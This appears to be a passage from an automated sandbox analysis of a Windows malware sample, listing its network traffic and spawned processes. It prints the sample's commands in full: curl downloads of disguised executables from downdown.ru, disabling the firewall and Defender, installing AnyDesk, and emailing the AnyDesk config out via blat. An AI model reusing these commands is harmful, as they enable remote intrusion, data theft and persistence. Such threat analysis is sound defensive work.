Jan 8, 2025 15:54:05.244469881 CET	448	IN	Data Raw: 49 6e 74 65 6c 5c 64 72 69 76 65 72 2e 65 78 65 20 61 20 2d 72 20 2d 65 70 20 2d 68 70 6c 69 6d 70 69 64 32 39 30 33 33 39 32 20 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 53 79 73 74 65 6d 2e 72 61 72 20 25 53 59 53 54 45 4d 44 Data Ascii: Intel\driver.exe a -r -ep -hplimpid2903392 %SYSTEMDRIVE%\Intel\System.rar %SYSTEMDRIVE%\Intel\s*.backup /yC:\Intel\blat.exe -to %mail-in% -f "Service Anidesk<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "AnyDe
Jan 8, 2025 15:54:05.244481087 CET	1236	IN	Data Raw: 38 37 20 2d 75 20 25 6d 61 69 6c 2d 6f 75 74 25 20 2d 70 77 20 25 70 61 73 73 2d 6f 75 74 25 20 2d 73 75 62 6a 65 63 74 20 20 22 41 6e 79 44 65 73 6b 20 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 2f 25 55 53 45 52 4e 41 4d 45 25 22 20 2d 62 6f 64 Data Ascii: 87 -u %mail-out% -pw %pass-out% -subject "AnyDesk %COMPUTERNAME%/%USERNAME%" -body "AnyDesk %COMPUTERNAME%/%USERNAME%" -attach "%PROGRAMDATA%\AnyDesk\system.conf"C:\Intel\blat.exe -to %mail-in% -f "System Windows<%mail-out%>" -server %smtp
Jan 8, 2025 15:54:05.244493961 CET	577	IN	Data Raw: 20 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 54 72 61 79 73 2e 72 61 72 0d 0a 64 65 6c 20 2f 71 20 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 77 61 6c 6c 65 74 2e 72 61 72 0d 0a 64 65 6c 20 2f 71 20 25 53 59 53 Data Ascii: %SYSTEMDRIVE%\Intel\Trays.rardel /q %SYSTEMDRIVE%\Intel\wallet.rardel /q %SYSTEMDRIVE%\Intel\svchost.exe@ECHO OFFSET InstURL=http://bmapps.org/bmcontrol/win64/SET AppDir=%~dp0echo Make config...echo {"login":"3355062","pool":"mi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49974	57.129.19.1	80	8320	C:\Intel\AnyDesk\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:54:11.904146910 CET	274	OUT	Data Raw: 16 03 01 01 0d 01 00 01 09 03 03 b2 00 46 cc 04 21 6a 96 32 67 09 12 58 84 dc 15 d4 29 01 85 ba 66 a3 c5 6a be 48 a3 70 48 51 d6 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: F!j2gX)fjHpHQn0,($kjih98762.*&=5/+'#g@?>32101-)%</r#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50000	94.23.158.211	80	9176	C:\Intel\Trays\Trays.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:54:21.524907112 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	55520	94.23.158.211	80	9176	C:\Intel\Trays\Trays.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:54:43.033643961 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	55521	94.23.158.211	80	9176	C:\Intel\Trays\Trays.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:55:04.561863899 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com

Target ID:	0
Start time:	09:53:19
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\eqRHH2whJu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\eqRHH2whJu.exe"
Imagebase:	0x400000
File size:	956'418 bytes
MD5 hash:	685F86F41DB34F2EC805449037AA32C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:53:20
Start date:	08/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Intel\ 131.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:53:20
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:53:21
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:53:21
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\attrib.exe" +s +h C:\Intel
Imagebase:	0xd20000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:53:21
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:53:22
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:53:22
Start date:	08/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:53:22
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:53:22
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:53:22
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	09:53:22
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:53:22
Start date:	08/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1736,i,7992334855485178110,2343866547744839284,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	09:53:22
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:53:23
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:53:23
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:53:24
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:53:24
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:53:24
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:53:26
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:53:26
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:53:26
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:53:26
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7fd8d0000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:53:27
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	09:53:28
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	09:53:30
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 6 127.0.0.1
Imagebase:	0xbd0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	09:53:36
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Imagebase:	0x920000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
